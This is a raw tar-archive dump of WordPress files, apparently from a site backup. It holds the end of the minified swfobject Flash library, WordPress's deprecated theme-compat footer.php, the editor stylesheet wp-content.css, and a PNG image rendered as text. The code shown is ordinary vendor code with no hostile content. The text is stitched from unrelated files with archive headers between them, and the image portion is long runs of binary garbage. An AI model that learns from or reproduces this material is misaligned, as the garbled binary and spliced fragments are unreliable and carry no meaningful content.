")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload=="function"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137"}j.title=j.title.slice(0,47)+" - Flash Player Installation";var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+encodeURI(O.location).toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae]}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"'}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"'}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />'}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1]}if(aa==null){return L(Z)}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block"}}if(E){E(B)}}a=false}}}}();14338/footer.php.tar000064400000006000151024420100010003 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/theme-compat/footer.php000064400000002037151024302410025740 0ustar00<?php
/**
 * @package WordPress
 * @subpackage Theme_Compat
 * @deprecated 3.0.0
 *
 * This file is here for backward compatibility with old themes and will be removed in a future version
 */
_deprecated_file(
	/* translators: %s: Template name. */
	sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ),
	'3.0.0',
	null,
	/* translators: %s: Template name. */
	sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) )
);
?>

<hr />
<div id="footer" role="contentinfo">
<!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. -->
	<p>
		<?php
		printf(
			/* translators: 1: Site name, 2: WordPress */
			__( '%1$s is proudly powered by %2$s' ),
			get_bloginfo( 'name' ),
			'<a href="https://wordpress.org/">WordPress</a>'
		);
		?>
	</p>
</div>
</div>

<!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/ -->
<?php /* "Just what do you think you're doing Dave?" */ ?>

		<?php wp_footer(); ?>
</body>
</html>
14338/wordpress.tar000064400000111000151024420100007744 0ustar00wp-content.css000064400000021070151024277520007361 0ustar00/* Additional default styles for the editor */

html {
	cursor: text;
}

html.ios {
	width: 100px;
	min-width: 100%;
}

body {
	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
	font-size: 16px;
	line-height: 1.5;
	color: #333;
	margin: 9px 10px;
	max-width: 100%;
	-webkit-font-smoothing: antialiased !important;
	overflow-wrap: break-word;
	word-wrap: break-word; /* Old syntax */
}

body.rtl {
	font-family: Tahoma, "Times New Roman", "Bitstream Charter", Times, serif;
}

body.locale-he-il,
body.locale-vi {
	font-family: Arial, "Times New Roman", "Bitstream Charter", Times, serif;
}

body.wp-autoresize {
	overflow: visible !important;
	/* The padding ensures margins of the children are contained in the body. */
	padding-top: 1px !important;
	padding-bottom: 1px !important;
	padding-left: 0 !important;
	padding-right: 0 !important;
}

/* When font-weight is different than the default browser style,
Chrome and Safari replace <strong> and <b> with spans with inline styles on pasting?! */
body.webkit strong,
body.webkit b {
	font-weight: bold !important;
}

pre {
	font-family: Consolas, Monaco, monospace;
}

td,
th {
	font-family: inherit;
	font-size: inherit;
}

/* For emoji replacement images */
img.emoji {
	display: inline !important;
	border: none !important;
	height: 1em !important;
	width: 1em !important;
	margin: 0 .07em !important;
	vertical-align: -0.1em !important;
	background: none !important;
	padding: 0 !important;
	-webkit-box-shadow: none !important;
	box-shadow: none !important;
}

.mceIEcenter {
	text-align: center;
}

img {
	height: auto;
	max-width: 100%;
}

.wp-caption {
	margin: 0; /* browser reset */
	max-width: 100%;
}

/* iOS does not obey max-width if width is set. */
.ios .wp-caption {
	width: auto !important;
}

dl.wp-caption dt.wp-caption-dt img {
	display: inline-block;
	margin-bottom: -1ex;
}

div.mceTemp {
	-ms-user-select: element;
}

dl.wp-caption,
dl.wp-caption * {
	-webkit-user-drag: none;
}

.wp-caption-dd {
	font-size: 14px;
	padding-top: 0.5em;
	margin: 0; /* browser reset */
}

.aligncenter {
	display: block;
	margin-left: auto;
	margin-right: auto;
}

.alignleft {
	float: left;
	margin: 0.5em 1em 0.5em 0;
}

.alignright {
	float: right;
	margin: 0.5em 0 0.5em 1em;
}

/* Remove blue highlighting of selected images in WebKit */
img[data-mce-selected]::selection {
	background-color: transparent;
}

/* Styles for the WordPress plugins */
.mce-content-body img[data-mce-placeholder] {
	border-radius: 0;
	padding: 0;
}

.mce-content-body img[data-wp-more] {
	border: 0;
	-webkit-box-shadow: none;
	box-shadow: none;
	width: 96%;
	height: 16px;
	display: block;
	margin: 15px auto 0;
	outline: 0;
	cursor: default;
}

.mce-content-body img[data-mce-placeholder][data-mce-selected] {
	outline: 1px dotted #888;
}

.mce-content-body img[data-wp-more="more"] {
	background: transparent url( images/more.png ) repeat-y scroll center center;
}

.mce-content-body img[data-wp-more="nextpage"] {
	background: transparent url( images/pagebreak.png ) repeat-y scroll center center;
}

.mce-object-style {
	background-image: url( images/style.svg );
}

.mce-object-script {
	background-image: url( images/script.svg );
}

/* Styles for formatting the boundaries of anchors and code elements */
.mce-content-body a[data-mce-selected] {
	padding: 0 2px;
	margin: 0 -2px;
	border-radius: 2px;
	box-shadow: 0 0 0 1px #bfe6ff;
	background: #bfe6ff;
}

.mce-content-body .wp-caption-dt a[data-mce-selected] {
	outline: none;
	padding: 0;
	margin: 0;
	box-shadow: none;
	background: transparent;
}

.mce-content-body code {
	padding: 2px 4px;
	margin: 0;
	border-radius: 2px;
	color: #222;
	background: #f2f4f5;
}

.mce-content-body code[data-mce-selected] {
	background: #e9ebec;
}

/* Gallery, audio, video placeholders */
.mce-content-body img.wp-media {
	border: 1px solid #aaa;
	background-color: #f2f2f2;
	background-repeat: no-repeat;
	background-position: center center;
	width: 99%;
	height: 250px;
	outline: 0;
	cursor: pointer;
}

.mce-content-body img.wp-media:hover {
	background-color: #ededed;
	border-color: #72777c;
}

.mce-content-body img.wp-media.wp-media-selected {
	background-color: #d8d8d8;
	border-color: #72777c;
}

.mce-content-body img.wp-media.wp-gallery {
	background-image: url(images/gallery.png);
}

/* Image resize handles */
.mce-content-body div.mce-resizehandle {
	border-color: #72777c;
	width: 7px;
	height: 7px;
}

.mce-content-body img[data-mce-selected] {
	outline: 1px solid #72777c;
}

.mce-content-body img[data-mce-resize="false"] {
	outline: 0;
}

audio,
video,
embed {
	display: -moz-inline-stack;
	display: inline-block;
}

audio {
	visibility: hidden;
}

/* Fix for proprietary Mozilla display attribute, see #38757 */
[_moz_abspos] {
	outline: none;
}

a[data-wplink-url-error],
a[data-wplink-url-error]:hover,
a[data-wplink-url-error]:focus {
	outline: 2px dotted #dc3232;
	position: relative;
}

a[data-wplink-url-error]:before {
	content: "";
	display: block;
	position: absolute;
	top: -2px;
	right: -2px;
	bottom: -2px;
	left: -2px;
	outline: 2px dotted #fff;
	z-index: -1;
}

/**
 * WP Views
 */

.wpview {
	width: 99.99%; /* All IE need hasLayout, incl. 11 (ugh, not again!!) */
	position: relative;
	clear: both;
	margin-bottom: 16px;
	border: 1px solid transparent;
}

.mce-shim {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
}

.wpview[data-mce-selected="2"] .mce-shim {
	display: none;
}

.wpview .loading-placeholder {
	border: 1px dashed #ccc;
	padding: 10px;
}

.wpview[data-mce-selected] .loading-placeholder {
	border-color: transparent;
}

/* A little "loading" animation, not showing in IE < 10 */
.wpview .wpview-loading {
	width: 60px;
	height: 5px;
	overflow: hidden;
	background-color: transparent;
	margin: 10px auto 0;
}

.wpview .wpview-loading ins {
	background-color: #333;
	margin: 0 0 0 -60px;
	width: 36px;
	height: 5px;
	display: block;
	-webkit-animation: wpview-loading 1.3s infinite 1s steps(36);
	animation: wpview-loading 1.3s infinite 1s steps(36);
}

@-webkit-keyframes wpview-loading {
	0% {
		margin-left: -60px;
	}
	100% {
		margin-left: 60px;
	}
}

@keyframes wpview-loading {
	0% {
		margin-left: -60px;
	}
	100% {
		margin-left: 60px;
	}
}

.wpview .wpview-content > iframe {
	max-width: 100%;
	background: transparent;
}

.wpview-error {
	border: 1px solid #ddd;
	padding: 1em 0;
	margin: 0;
	word-wrap: break-word;
}

.wpview[data-mce-selected] .wpview-error {
	border-color: transparent;
}

.wpview-error .dashicons,
.loading-placeholder .dashicons {
	display: block;
	margin: 0 auto;
	width: 32px;
	height: 32px;
	font-size: 32px;
}

.wpview-error p {
	margin: 0;
	text-align: center;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
}

.wpview-type-gallery:after {
	content: "";
	display: table;
	clear: both;
}

.gallery img[data-mce-selected]:focus {
	outline: none;
}

.gallery a {
	cursor: default;
}

.gallery {
	margin: auto -6px;
	padding: 6px 0;
	line-height: 1;
	overflow-x: hidden;
}

.ie7 .gallery,
.ie8 .gallery {
	margin: auto;
}

.gallery .gallery-item {
	float: left;
	margin: 0;
	text-align: center;
	padding: 6px;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

.ie7 .gallery .gallery-item,
.ie8 .gallery .gallery-item {
	padding: 6px 0;
}

.gallery .gallery-caption,
.gallery .gallery-icon {
	margin: 0;
}

.gallery .gallery-caption {
	font-size: 13px;
	margin: 4px 0;
}

.gallery-columns-1 .gallery-item {
	width: 100%;
}

.gallery-columns-2 .gallery-item {
	width: 50%;
}

.gallery-columns-3 .gallery-item {
	width: 33.333%;
}

.ie8 .gallery-columns-3 .gallery-item,
.ie7 .gallery-columns-3 .gallery-item {
	width: 33%;
}

.gallery-columns-4 .gallery-item {
	width: 25%;
}

.gallery-columns-5 .gallery-item {
	width: 20%;
}

.gallery-columns-6 .gallery-item {
	width: 16.665%;
}

.gallery-columns-7 .gallery-item {
	width: 14.285%;
}

.gallery-columns-8 .gallery-item {
	width: 12.5%;
}

.gallery-columns-9 .gallery-item {
	width: 11.111%;
}

.gallery img {
	max-width: 100%;
	height: auto;
	border: none;
	padding: 0;
}

img.wp-oembed {
	border: 1px dashed #888;
	background: #f7f5f2 url(images/embedded.png) no-repeat scroll center center;
	width: 300px;
	height: 250px;
	outline: 0;
}

/* rtl */
.rtl .gallery .gallery-item {
	float: right;
}

@media print,
	(-o-min-device-pixel-ratio: 5/4),
	(-webkit-min-device-pixel-ratio: 1.25),
	(min-resolution: 120dpi) {

	.mce-content-body img.mce-wp-more {
		background-image: url( images/more-2x.png );
		background-size: 1900px 20px;
	}

	.mce-content-body img.mce-wp-nextpage {
		background-image: url( images/pagebreak-2x.png );
		background-size: 1900px 20px;
	}
}
images/embedded.png000064400000017761151024277520010271 0ustar00�PNG


IHDR|\�l!�PLTELiq�������***���		���	y~}������H1&rl���������|��-"��臓����Xgt�������������G8/

���iw�ds�������������}�������lnk������_my��۳��t�����]cm���RUK:PU��ӟ��`ND�����t��.68N:4P_����������!���aNBL^l���C4.����p�~js�9MT���nb]��q*>?���i{�`MF�����ݑ������A3/&6Dv�����ae\������M?5;.'%).e}�Ts�H8/ax�Xh�n��^x�hYP, ���J_�aOA��&)M^�7(%

ror|��&3^eaY^L?�r[

���'!,1$!M=4UD:���@2,?0(D5.H926("<-&eREXG>7*'bOB]J>	gVI]LBS@6OA9���lZMwdT���7#���H8-�����k[��ʞ�Ɗt`t^L��߬�������꺽ω����oz�&
��ӷ�ݝ�n.D-���ؓ|h�w������������y���������y��u�r�����eu���}QTV��Ք��dm}���~��HRo��v���BQ|��FKQgz�������;CA�������ũ�n�����7EgW_\���aC �������Τ���߶(>tɾ�Oi����z�tRNS#
l�<�P�4+}bG�v����׽�Y\��ױ���ؾջ���ً�ٲu˽����������l��ك۠�������<�'��L���{�g�ӑ�ْ���]�E���ؒ��6�� ���j�̥�L���������r���ƫ�v�?�IDAThޭ�y�\e��g�S��TU��[����JHH'��%aU.h0C\Q?��3�0�"8���~TƋ"���ʮ"�!1i��I���{׾��Su���Q��;����S��9����ٟ�y���K�5�����
@x�MS�����.����卥��b곾(�� ��p��~�����T]0���
lWu]�U�b�c��
������T�ϝ�Wq'����-2��m�0O�86�=1s��?hi�Y���n?^�\v

�_�T����&�v�:�DB��K����J��X�
x�j��Y&@��R�d%3�C��di��x�@�����?_]���o�sd�#�$�����3����t�j�(�����c����U���$HBC	DXggH����e�>@,���G@G�r��ž�Cۚ$�����z�\f�����y���:g���j2����P��Q�×5�')|ͱ�+��i�ֹ{t �Vp_vi�g�Oud,��#H�=d�/�Id�PJFzI��Y�#�p�U�~��N����+��6^P�?�������73!��q��Wq�a�P6.��Pˢ�:�ҙ�0��g-��_<+��m�fw�袕�6l<��S}��'�^�{�+�&�X>Ql���B��=9Zs�WM�΁2$�$�_�t�3�;������BR�
����Ƿ���[��=z��{�!��骑���$��Z�_�xa%�L�'G;C0����
1���6<=�o�f�K�-���~ϸ�K�/��?���\t��B��+f��P7����Ԍ!M��p'�lƽJ�Y�4�1s�����'ѡ<�&׺.������W<�=Dxb�u�G��v��|Pʕ����s�"(�-]):)�!ӯ�m+:��#ڳ0=x�MX'<m�Y�n���oF|�.I�:=@�	]$S6���7��D��[��L��1㚴�4�i����,;7�Oe�ͣ�V���gD�
��K�����VTFs,���0�{$����R����p{{����+�P3� Z��ij���p[
�xԇm�����bF
��g��ѡ�
�T��䴷�HN�$kH:���B'��Ϥ%��+�Hɂ�'�d{��F�0��[���m}�L�vlgK�[�־�g^�)�T�ף�[f��4����=Ꞑ$�~K߷���v�V�ߟd��)w��Ezu��Q���zL�8�}�&��P!�eL[�����?�x���92��P���xy�����d�ŒHOB����HC��o�\�rr��Zß�O~�?v���'@N|���"r"!.��*��.W�rm��EC[��F�92��1a;�|-�H]i9��Bh�)
O��nY�[�S2���"�m�j5�=j�@�Fv�ֳ���`W
G��!S��3O���0�)��	�ݩTo�h
��X�B/�W��C�}=���t@ѕue�^PP=��R�$q|�d�~�׾h��=b�s=����2����,7����@Zt��2
S諹̺z��l�vC���	.�Rc��!�N�z��Q\�ip����(̕908trP�R�{�S����r�GS�a,B %������$=��F��;*�e�\�kN��l�*��?����J��[/�f��q��Yv$:�ÝY������P��=���"ԑ��54�5�'Z�dMqW��
��@��5͑�>խ"��:�B�2���[�9�e���"� �p䍰��xY��.H�]wn\�w�k�J]����8���Q��!�c%��g+u����:��6����W��~6����&D��}'�+&���#o��&$�:�Wݧ�o������Ԗ�ӭ{�R7M���<��~�Ym{��2��Ԃ��Fj�<K��c�=�ؕ����u�K�:��5pA$��~�9�
�����uίF��^7�,5��e3�%��q�G��_��씲'���`�x�۴#���+��թ��qu*~�0%�!�Ɨ���ҧߪT���,����ʁjqɁEҗW�:���Wι�v���O��A���9��ˋ�N!�p2ҒXl�k�����r��1��U����T�&vU�T:YJ�.��3^��ʎ?ł�̮lj��䤶(1��c�ޚ����8��s.����d�@�	�@��i����_����2�4�.�3,ڙ�����)y�"���'.��+uHޔ�̰&{MG����y�,r_y�]�ų����z";�<$+�D�"5�fd~ҽ�_�
��tV.2��� e���E�>��``�ಧp��G����цz�p��Ȧ�*d�߯�v|`k�*:��ʼLpd�'�+��t�i�kr�;B���Z+�T{;h�V��@��u<�{��zGV?�Vf��5�r��cy�]�˷��/����e3�i4�
h��)���5�!��5W�ٱ�g�<V���`o��������?����?E��V�;�ө,H���C;}��ݝ����3ĸ�#@'^�=se��ȥ.H�RXY.d��_��L����k ےR=���~;��Gk�k�7�k��"�n�� #~x�7�����{���{_Y�����Z��7ﺫ#2�Ϻ���|��NFb�����n>�{�P��흡�Zs5h�	��q���ڊ�bq7En�˸��om\�3]�����ֈ��Ak��e����N�i
ם
�uQ��x����W���CJv������A��=G���X|��A6=�3�YFN�u�zol�~]�׎%�&~sNn-��C�����*��x4��D\22�wxx���;ץ�,;\:����G������t)�����F�r�3��7�b��q�,�d���rv�\�Ӓ��s��'�}�����C��p���rt񲾫qi�Q�p����{�"Kێ_��K߹�n-�x�pX�N�	��;����e`����7��� �7����k<\�:9���@�3�|:6�*�6)\��T���ִ<����,�?̲%�A�"+�Ҫ�����{�;�}�b.��ms?��aۙv��2�M�F�*��g�n�
�DhY��h�KW�Fy�)�5$ԇ�G�m޵h귟W2�4�t�^�?�����>��ع�(�����H<�����H^
أ��X���)�=���ּ`c*sӏ�M$�Bm1�mT��=�5�l������^�y=��j:�G��P�'ҭF�ގe�?R9pGx:��N>yhb����g~2�N�)u���>��;CJ��kꚙW+v�1�XpƼE�Q��-�l����h��^TG#���M�����w�Ro=ˬ�Mr�^��i���z8���d��+��� 6<�s}&6��Xl��
71����?w?;R��1V�tNO�$"e�SN4����ԃ?R�֩�p�(-�o��K(nt��oY�]I�=sm��|b%�gn\u��n`�;~��av��|��ځ�����-C|}(
>z[��i2�篍^����7�,Ntp�dN�Ad8D�
�[�����Ο��,}��=c<:f4�~�,@��(l�>̉���X����l��Nv��W���=�ն��P?���^m����
輪t�J�|"���i��(�>=*%c��
{Պ3����h}gI-�1��؇�ѣm s.�X�N���%�cI)MR�~64��E�{���|c����	�J�DOtr��qלK9�'�\��_����]M��t�z�E!G���#篑�~���<3��ڕ���׌�ᵒ6�����ty�@�S��;�=��q�"���7z�'T'�����mBR�\!����zy�ޗ��Q�hǥ�	���Hf��7?��ݝ�eM�$��I mJ����������E�ߒ	[�0�4U���tn.��3�P<&�gb����r��68�����RP���KC���<a���ja��X]F�d�@	�DY������ΑD4�2/�}�S��s�7vS�I}�MI~�4���|%�R(�{��3x�
�a��ximo�{��S��>�n�L���x6ri��7M���j��%�J$�P=�R5/������O��eea?FP�]k7�W�0趰q߼�@��m�f��@u>|Fd���i߅;���ݻ�r�i���:���*������n����m����[��;�<������
�9ǽ�����qtz�a���[�U�}�m���O,Zc�I{߼��E��Ck�"Z���%}}f�[��7߳���}�;���mf��v���?L�r0C��j�Q�(���@%���zk�=C�m�+��'Ox"�p��_�ǽ��M}���>W��#�reX�oZM����-7������zxɬ}�h�N�s�r�;��]ߖ�v�V)+r�>�h���_踟��K�1��7�����vɡ�=�7���8��_��%S�����7Y�un_A$n{UYRMd�g�N���e�K#ވ�rK�'���lwVd�re��;�Mî�v�+����.�r��)-3˙F�.Rw%R�{?����ʪ�;�{����t�*Sp�\�;�W��6��޷�=���n4]���J�a�����s��CLZ�2��z˵�yw����h���v�p޼�˜ɼ�`��W$��-����3�k�,��#��mR����G{��C�q�E3A}/`�!����2m�n�-?-��(�u�B���L�F EK��-~�mK�޺h�w�?�ăp�B��%@@�N��>�k++
�
U"��_�99r<�;ڧg�P�u?��1�](���$.�|���������)��U����k�9� 9{�i|�.Y���x���n=�<���~}�>�4��;X�<��J���b��K�I̮�G��g��;���OZ/7�Kg7��&+�>t�툷h��r�@��Ŧ&Ϻ����D.^x��GZzj
���Z^Z��1�_�kCY��}ZK��tx�p,����՛�t%���O�����I��,5d���R�%Q,7��lI�f(�wn:�K�{~�~}ǦwW�v_��.:	�BYK��AOR��-NR:�Oa"^C�<T�O}�C�N���h{*�{[�eqJIH����{I��,Y�����.��+����C�S;����H[�tA_y���c�l���LV��O��B�8�g�
X��9#�/^�Uǒ$?�J�pP��{�߹��VG/(�����T����_+[���6��/+���j�[u�
Gn��/��^�1H��'�
,�Xϫ�V?7m���ܲ���r��atJaJ����G��7���X\z�3�ʏ�"Gk�F?{�b����&����$��W	�
